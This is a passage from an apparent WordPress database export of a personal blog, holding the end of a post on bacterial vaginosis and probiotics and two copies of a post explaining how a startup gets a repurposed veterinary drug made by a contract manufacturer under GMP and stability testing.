href=\"https://www.sciencedirect.com/science/article/abs/pii/S0002937810006101\">also worked well</a>&nbsp;in a double-blind trial (16% recurrence for treatment vs. 45% for placebo) as well&nbsp;<a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD006289.pub2/abstract\">as in a Cochrane review</a>. As with all probiotic trials, though, the authors warn of the prevalence of bad quality probiotics, which either fail to make sure their bacteria are alive or fail to make sure that the probiotic contains the bacteria at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this is useful enough for practical purposes. However, what I think would be especially interesting is taking this knowledge and using it for the other super important microenvironment in the body that’s much harder to access: the digestive tract. There have been a ton of studies and papers done on probiotics, antibiotics, and microbiota transplants for the digestive tract, but there still aren’t firm conclusions on what to do. And, more importantly, many digestive tract issues remain, uh, intractable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Are there digestive tract equivalents of vitamin C tablets and boric acid? Should we be inserting probiotics rectally instead of swallowing them? Is a fecal transplant equivalent to a vaginal fluid transplant? Can we (and should we) nurture the&nbsp;<em>Lactobacillus</em>&nbsp;in the stomach by using lessons from the vagina?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are only so many places where our commensal bacteria are important for our health, and few as easily accessible as the vagina. This could at last be our chance to explore not only the mysteries of the vagina, but ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-anchor-1-99132379\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not really.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-anchor-2-99132379\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Wikipedia gives a rate of “5 to 70%”, which is an entirely useless range but reflects the fact that it is definitely common, but that the prevalence varies so much from region to region it’s hard to get a good grasp on how common it is overall.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-anchor-3-99132379\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s also weaker evidence that women with BV are more likely to have&nbsp;<a href=\"https://www.sciencedirect.com/science/article/abs/pii/S000293781832221X\">HPV</a>,&nbsp;<a href=\"https://www.sciencedirect.com/science/article/abs/pii/S0002937802082212\">UTIs</a>, and&nbsp;<a href=\"https://journals.lww.com/aidsonline/fulltext/2008/07310/bacterial_vaginosis_and_hiv_acquisition__a.13.aspx\">HIV</a>. However, it’s really hard to piece out correlation and causation with these ones. Does HPV cause BV, BV cause HPV, or something else (e.g. poor hygiene) cause both?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, in the chlamydia/gonorrhea studies, they’re examining women at STD clinics who have had sex with an infected partner. So, everyone at the clinic is already at risk for an STD, and it’s only the immediate sexual environment that makes a difference.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weirdly, reporting regular condom use did not seem to make much of a difference, as 10% of condom users and 10% of non-condom users both got gonorrhea, and 7% of condom users and 11% of non-condom users got chlamydia. This was a notably poor population with only 23% of people on non-Medicaid insurance, so people might just be lying about condoms or using them wrong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-anchor-4-99132379\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The 50s and 60s were a different, worse time in medical ethics. Granted, they probably thought BV was harmless except for the bad smell, but you think you’d take precaution before just jumping in and infecting people. Also, they did some of these studies on pregnant women, with absolutely no idea what this would do to the fetus.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/bacterial-vaginosis-we-contain-multitudes#footnote-anchor-5-99132379\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although there might still be a change to the pH, which would be bad, as aforementioned.</p>\n<!-- /wp:paragraph -->','Bacterial vaginosis: we contain multitudes','','inherit','closed','closed','','364-revision-v1','','','2024-06-12 15:30:12','2024-06-12 15:30:12','',364,'https://trevorklee.com/?p=366',0,'revision','',0),
(367,1,'2024-06-12 15:31:51','2024-06-12 15:31:51','<!-- wp:paragraph -->\n<p><em>Feb, 2023</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s been some exciting updates recently with my biotech/pharma startup, Highway Pharmaceuticals. Along with finally making a first inroad with the FDA and almost finishing our pilot trial (despite some hiccups along the way), we’ve also identified a contract development and manufacturing organization, or CDMO, and signed a proposal to manufacture the drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The short version is that manufacturing the drug will take $300,000+ and more than 7 months<a href=\"https://trevorklee.substack.com/p/how-to-manufacture-a-drug#footnote-1-101888108\">1</a>, plus 24 months of testing at the end of it. At the end of the 7+ months, we’ll have a batch of actual drugs suitable to be given to actual cats for safety testing. At the end of the 24 months, we’ll have a recipe for a drug that’s suitable to being put on the shelf of your local veterinarian pharmacy, assuming FDA approval.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neat, right? But also, wow, that’s a lot of money and time! What goes into all of this? Why is this so complicated, considering we’re just taking old drugs, combining them, and putting them in a new capsule?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are the questions I had before I started all of this. To be honest, this is my first time manufacturing anything physical. I’ve self-published books and made an app, which have their own headaches, but nothing like this. I’ve had zero experience with what it’s actually like to get something physical out into the world, and now I’ve jumped into the deep end with one of the most regulated and complicated categories of products known to man.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And deep this end is! Through conversations with my manufacturing consultant and the manufacturers, I’ve learned a lot about just how complicated manufacturing drugs is and where all the money and time goes. To continue the analogy, while I still certainly don’t know how to pilot the submarine into this deep end, at least now I understand why the submarine has so many buttons. And I believe that the consultant and I have identified a solid captain (CDMO), although we will still keep a close watch to make sure they’re not sailing into any reefs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, here are the broad steps needed to actually make a drug with a CDMO.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>1. Obtain the API</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Manufacturing a drug starts with already having the active pharmaceutical ingredient, or API. This is the part of the drug that actually does the work (i.e. the thing on the back of the package, like “acetaminophen” or “sildenafil”). This is kind of a copout, as this is obviously the most important part of a drug. You might see this as a “draw the owl” sort of deal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6689628-b32e-48b0-b9b5-ea48aa6eb109_450x450.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6689628-b32e-48b0-b9b5-ea48aa6eb109_450x450.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">How to manufacture a drug. Step 1: start with an idea. Step 2: make the drug following FDA guidelines.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And it kind of is. But, an API does not a drug make. Yes, the active ingredient in Tylenol is acetaminophen. But, if you buy that API directly, you are going to get a kg of powder and it will run you about $4500. This will not be helpful to fix your headache.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A CDMO’s job is to turn that API, in whatever form it comes, into a drug that can be put on a pharmacy shelf and then sold to an end user. The API can come in a lot of different forms and the end user’s drug can come in a lot of different forms, so CDMOs frequently have specializations like “liquids” or “inhalants”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our drug is two powders that we intend to combine into a liquid softgel, so our CDMO’s job is to find a way to take two powders, dissolve them into a liquid, and put them into a soft gel capsule. Not coincidentally, this is now my specific experience with CDMOs, so it’ll cover the rest of what I discuss in this piece.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, before a CDMO can combine two APIs into a single liquid softgel, though, they need to actually get the APIs. That’s the pharmaceutical company’s job.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we were a traditional pharma company, we’d likely have some sort of manufacturing facility that makes the API, which is a multimillion dollar investment in and of itself that comes with fifty times the amount of headaches, not to mention the FDA inspection. Meanwhile, if we were a traditional startup making a new chemical entity, we would have already hired a contract API manufacturer, which ends up being a really complex, expensive relationship with a factory in which you make small batches of a highly specialized product. Scientifically, I’d estimate that this is approximately twenty times the amount of headaches.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, fortunately, we’re a repurposing startup, which means we get the API by calling up generic manufacturers and asking them how much they charge per kg of the API. Once they tell us, we work together with the manufacturer to fill out the standard safety data sheet and importation forms to get the drug across borders and safely into our CDMO’s factory.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, of course, we have to coordinate the API manufacturer and the CDMO to make sure they actually do ship the API in the right way, at the right time, to the right place. This is about one headache’s worth of work, although it’d be more if we were working with dangerous substances or controlled substances (i.e. APIs that people can use to get high).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdaa8b7-a360-473e-a479-28ed55adc453_504x428.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdaa8b7-a360-473e-a479-28ed55adc453_504x428.jpeg\" alt=\"A character snorts cocaine, and you won\'t be able to explain why it\'s in  there.” | Roger Ebert | Roger Ebert\" title=\"A character snorts cocaine, and you won\'t be able to explain why it\'s in  there.” | Roger Ebert | Roger Ebert\"/></a><figcaption class=\"wp-element-caption\">Fun fact: for the pilot trial, I had the API shipped directly to my apartment. They didn’t even charge me for it because it was a sample. I do not think this was entirely legal but it was much more convenient. I did feel a little like Tony Montana.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>One of our big concerns about shipping the API in the right way is to make sure both the generic manufacturer and the CDMO knows which part of the API is GMP and which part is not, and not to mix up the two. Now, you’ll have to forgive me for introducing yet another acronym (technically an initialism), but this one is important and will come up again. Allow me to explain it, if you would.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>GMP stands for “Good Manufacturing Practice”. You might notice that this is a noun, and not an adjective, so it doesn’t really make sense to say “This active pharmaceutical ingredient is good manufacturing practice”. But, we’re going to just have to let that go and accept that GMP is most commonly used as an adjective to describe a certain set of standardized, highly documented manufacturing practices.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>GMP status is important because any drug that goes into an official FDA trial or into an end user (i.e. a person or a pet) needs to be produced under highly documented, standardized manufacturing practices. This is for both safety and traceability if things go wrong. Because of all the extra work that goes along with producing them, GMP drugs are always more expensive than their non-GMP equivalents.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if we want the finished drugs that come out of this manufacturing run to be used in our safety trials (which is literally half the reason we’re doing this manufacturing run), we need to be using GMP drugs. The only reason why part of the API we’re ordering is non-GMP is that we also need to produce a prototype batch of drugs to test our process before making an actual batch of drugs. We’ll just be throwing out the prototype batch once we’re done, so the API doesn’t need to be GMP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, let’s say that you do all this successfully: the paperwork, the logistics, the payment. Now, at long last, you can actually start employing the CDMO.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2. In which the CDMO just keeps testing.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, we have two powders. We want to combine them into a liquid. What do we do?<br><br>Well, it’s pretty obvious. We mix the powders together and add some sort of liquid that will dissolve both of them (the “excipients”). Ta-da!<br><br>Of course, like all things pharma, the devil is in the details. We need to test to make absolutely sure that this liquid:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) Completely dissolves the APIs</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) Keeps the APIs dissolved</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) Doesn’t make any chemical changes to the API</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We will be testing this over, and over, and over again. So, once we identify the excipients, we dissolve the powders, and test. Then we identify a capsule shape and size, practice mixing all the ingredients together and filling the capsule, and test. Then we manufacture a full prototype batch with exactly the same steps and ingredients we’d use for an actual batch, and…. test!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This third test, however, is a little more exciting. Instead of testing immediately after we produce the batch, we put the prototype batch through a range of temperatures and humidities for a full 6 months, trying to replicate the full spectrum of what it might experience on a pharmacy’s shelf in winter or in summer. Then, once again, we test.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>3. Keeping busy.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, we don’t want to be just sitting on our hands while we’re waiting for this prototype batch to finish 6 months of testing. That’d be a waste of time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, instead, we figure out everything around the manufacturing that isn’t directly involved with making a batch. Namely, the cleaning, the assay, and the method validation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cleaning is exactly what it sounds like. We figure out how to clean the machines in between batches so they’re ready for the next one. If this weren’t pharmaceuticals, this probably wouldn’t have to be a separate, costly step. It’d probably just be a post-it note next to the cash register or something, along with a reminder to get more Clorox.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d7beb6a-7502-4b3d-a08a-89ed8649a927_400x286.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d7beb6a-7502-4b3d-a08a-89ed8649a927_400x286.jpeg\" alt=\"IF YOU HAVE TIME TO LEAN HAVE TIME TO CLEAN | Adhesive Vinyl Sign Decal |  eBay\" title=\"IF YOU HAVE TIME TO LEAN HAVE TIME TO CLEAN | Adhesive Vinyl Sign Decal |  eBay\"/></a><figcaption class=\"wp-element-caption\">And then this sign posted on the machine. I’ve always hated this saying. I think the fact that it rhymes makes it worse. It makes it sound like a fact, rather than a power trip.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But, because these are drugs that are going inside sick patients, we’ve got to be a little more intentional with our cleaning. Every part of the cleaning process is prodded and examined: what we use to clean (the “cleaning matrix”), what our cleaning procedure is, and how clean is clean enough (the “allowable residue limit”).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once we know how we’re going to clean, we next need to know how to make sure the cleaning hasn’t affected our end product. So, we develop an assay to test the drug to make sure it’s exactly as it should be and hasn’t been changed chemically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, we need to prepare for our GMP manufacturing of our actual drug batch. This means “validating the method”, or turning the steps we figured out during our prototype batch into a formal procedure that can be replicated. This is assuming, of course, that our prototype batch went exactly to plan.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>4. Manufacturing the drug.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, at the 6 month mark, we check that our drug still is fully dissolved and unchanged chemically.<br><br>Assuming that it is, we can go ahead and manufacture our first batch of drug for our safety trials and our formal, FDA-mandated testing. This manufacturing is GMP, which means it needs to follow the method we developed before and be exhaustively documented. It also means that we need to test the drug again to make sure it was developed right and we didn’t introduce any impurities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of all of this, we have our GMP batch. This is the batch we will then use for our safety trial, making sure the cats don’t get sick when we give them the drug.<br><br>And, importantly, we’ll also use this batch for our…drum roll please…additional testing! This one is the official, FDA mandated test, during which we keep the batch for 24 months at a range of temperatures and humidities and then test it to make sure it’s fine. Practically speaking, we already did that, because a drug that’s stable at 6 months will almost certainly be stable at 24 months. But, good luck convincing the FDA of anything “practically speaking”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At the end of this 24 month period, as long as you’ve successfully completed your safety and pivotal trials, you have a drug. Huzzah!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/how-to-manufacture-a-drug#footnote-anchor-1-101888108\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sorry for being vague, but I’m under an NDA. This was the minimum cost and minimum amount of time from the proposals we received. The actual cost and actual amount of time is somewhere north of this.</p>\n<!-- /wp:paragraph -->','How to manufacture a drug','','publish','closed','closed','','how-to-manufacture-a-drug','','','2024-06-12 15:31:51','2024-06-12 15:31:51','',0,'https://trevorklee.com/?page_id=367',0,'page','',0),
(368,1,'2024-06-12 15:31:51','2024-06-12 15:31:51','<!-- wp:paragraph -->\n<p><em>Feb, 2023</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s been some exciting updates recently with my biotech/pharma startup, Highway Pharmaceuticals. Along with finally making a first inroad with the FDA and almost finishing our pilot trial (despite some hiccups along the way), we’ve also identified a contract development and manufacturing organization, or CDMO, and signed a proposal to manufacture the drug.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The short version is that manufacturing the drug will take $300,000+ and more than 7 months<a href=\"https://trevorklee.substack.com/p/how-to-manufacture-a-drug#footnote-1-101888108\">1</a>, plus 24 months of testing at the end of it. At the end of the 7+ months, we’ll have a batch of actual drugs suitable to be given to actual cats for safety testing. At the end of the 24 months, we’ll have a recipe for a drug that’s suitable to being put on the shelf of your local veterinarian pharmacy, assuming FDA approval.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neat, right? But also, wow, that’s a lot of money and time! What goes into all of this? Why is this so complicated, considering we’re just taking old drugs, combining them, and putting them in a new capsule?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are the questions I had before I started all of this. To be honest, this is my first time manufacturing anything physical. I’ve self-published books and made an app, which have their own headaches, but nothing like this. I’ve had zero experience with what it’s actually like to get something physical out into the world, and now I’ve jumped into the deep end with one of the most regulated and complicated categories of products known to man.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And deep this end is! Through conversations with my manufacturing consultant and the manufacturers, I’ve learned a lot about just how complicated manufacturing drugs is and where all the money and time goes. To continue the analogy, while I still certainly don’t know how to pilot the submarine into this deep end, at least now I understand why the submarine has so many buttons. And I believe that the consultant and I have identified a solid captain (CDMO), although we will still keep a close watch to make sure they’re not sailing into any reefs.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, here are the broad steps needed to actually make a drug with a CDMO.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>1. Obtain the API</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Manufacturing a drug starts with already having the active pharmaceutical ingredient, or API. This is the part of the drug that actually does the work (i.e. the thing on the back of the package, like “acetaminophen” or “sildenafil”). This is kind of a copout, as this is obviously the most important part of a drug. You might see this as a “draw the owl” sort of deal.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6689628-b32e-48b0-b9b5-ea48aa6eb109_450x450.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6689628-b32e-48b0-b9b5-ea48aa6eb109_450x450.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">How to manufacture a drug. Step 1: start with an idea. Step 2: make the drug following FDA guidelines.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>And it kind of is. But, an API does not a drug make. Yes, the active ingredient in Tylenol is acetaminophen. But, if you buy that API directly, you are going to get a kg of powder and it will run you about $4500. This will not be helpful to fix your headache.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A CDMO’s job is to turn that API, in whatever form it comes, into a drug that can be put on a pharmacy shelf and then sold to an end user. The API can come in a lot of different forms and the end user’s drug can come in a lot of different forms, so CDMOs frequently have specializations like “liquids” or “inhalants”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Our drug is two powders that we intend to combine into a liquid softgel, so our CDMO’s job is to find a way to take two powders, dissolve them into a liquid, and put them into a soft gel capsule. Not coincidentally, this is now my specific experience with CDMOs, so it’ll cover the rest of what I discuss in this piece.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, before a CDMO can combine two APIs into a single liquid softgel, though, they need to actually get the APIs. That’s the pharmaceutical company’s job.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If we were a traditional pharma company, we’d likely have some sort of manufacturing facility that makes the API, which is a multimillion dollar investment in and of itself that comes with fifty times the amount of headaches, not to mention the FDA inspection. Meanwhile, if we were a traditional startup making a new chemical entity, we would have already hired a contract API manufacturer, which ends up being a really complex, expensive relationship with a factory in which you make small batches of a highly specialized product. Scientifically, I’d estimate that this is approximately twenty times the amount of headaches.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, fortunately, we’re a repurposing startup, which means we get the API by calling up generic manufacturers and asking them how much they charge per kg of the API. Once they tell us, we work together with the manufacturer to fill out the standard safety data sheet and importation forms to get the drug across borders and safely into our CDMO’s factory.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, of course, we have to coordinate the API manufacturer and the CDMO to make sure they actually do ship the API in the right way, at the right time, to the right place. This is about one headache’s worth of work, although it’d be more if we were working with dangerous substances or controlled substances (i.e. APIs that people can use to get high).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdaa8b7-a360-473e-a479-28ed55adc453_504x428.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4fdaa8b7-a360-473e-a479-28ed55adc453_504x428.jpeg\" alt=\"A character snorts cocaine, and you won\'t be able to explain why it\'s in  there.” | Roger Ebert | Roger Ebert\" title=\"A character snorts cocaine, and you won\'t be able to explain why it\'s in  there.” | Roger Ebert | Roger Ebert\"/></a><figcaption class=\"wp-element-caption\">Fun fact: for the pilot trial, I had the API shipped directly to my apartment. They didn’t even charge me for it because it was a sample. I do not think this was entirely legal but it was much more convenient. I did feel a little like Tony Montana.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>One of our big concerns about shipping the API in the right way is to make sure both the generic manufacturer and the CDMO knows which part of the API is GMP and which part is not, and not to mix up the two. Now, you’ll have to forgive me for introducing yet another acronym (technically an initialism), but this one is important and will come up again. Allow me to explain it, if you would.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>GMP stands for “Good Manufacturing Practice”. You might notice that this is a noun, and not an adjective, so it doesn’t really make sense to say “This active pharmaceutical ingredient is good manufacturing practice”. But, we’re going to just have to let that go and accept that GMP is most commonly used as an adjective to describe a certain set of standardized, highly documented manufacturing practices.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>GMP status is important because any drug that goes into an official FDA trial or into an end user (i.e. a person or a pet) needs to be produced under highly documented, standardized manufacturing practices. This is for both safety and traceability if things go wrong. Because of all the extra work that goes along with producing them, GMP drugs are always more expensive than their non-GMP equivalents.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, if we want the finished drugs that come out of this manufacturing run to be used in our safety trials (which is literally half the reason we’re doing this manufacturing run), we need to be using GMP drugs. The only reason why part of the API we’re ordering is non-GMP is that we also need to produce a prototype batch of drugs to test our process before making an actual batch of drugs. We’ll just be throwing out the prototype batch once we’re done, so the API doesn’t need to be GMP.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, let’s say that you do all this successfully: the paperwork, the logistics, the payment. Now, at long last, you can actually start employing the CDMO.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>2. In which the CDMO just keeps testing.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, we have two powders. We want to combine them into a liquid. What do we do?<br><br>Well, it’s pretty obvious. We mix the powders together and add some sort of liquid that will dissolve both of them (the “excipients”). Ta-da!<br><br>Of course, like all things pharma, the devil is in the details. We need to test to make absolutely sure that this liquid:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) Completely dissolves the APIs</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) Keeps the APIs dissolved</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) Doesn’t make any chemical changes to the API</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We will be testing this over, and over, and over again. So, once we identify the excipients, we dissolve the powders, and test. Then we identify a capsule shape and size, practice mixing all the ingredients together and filling the capsule, and test. Then we manufacture a full prototype batch with exactly the same steps and ingredients we’d use for an actual batch, and…. test!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This third test, however, is a little more exciting. Instead of testing immediately after we produce the batch, we put the prototype batch through a range of temperatures and humidities for a full 6 months, trying to replicate the full spectrum of what it might experience on a pharmacy’s shelf in winter or in summer. Then, once again, we test.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>3. Keeping busy.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, we don’t want to be just sitting on our hands while we’re waiting for this prototype batch to finish 6 months of testing. That’d be a waste of time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, instead, we figure out everything around the manufacturing that isn’t directly involved with making a batch. Namely, the cleaning, the assay, and the method validation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cleaning is exactly what it sounds like. We figure out how to clean the machines in between batches so they’re ready for the next one. If this weren’t pharmaceuticals, this probably wouldn’t have to be a separate, costly step. It’d probably just be a post-it note next to the cash register or something, along with a reminder to get more Clorox.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d7beb6a-7502-4b3d-a08a-89ed8649a927_400x286.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7d7beb6a-7502-4b3d-a08a-89ed8649a927_400x286.jpeg\" alt=\"IF YOU HAVE TIME TO LEAN HAVE TIME TO CLEAN | Adhesive Vinyl Sign Decal |  eBay\" title=\"IF YOU HAVE TIME TO LEAN HAVE TIME TO CLEAN | Adhesive Vinyl Sign Decal |  eBay\"/></a><figcaption class=\"wp-element-caption\">And then this 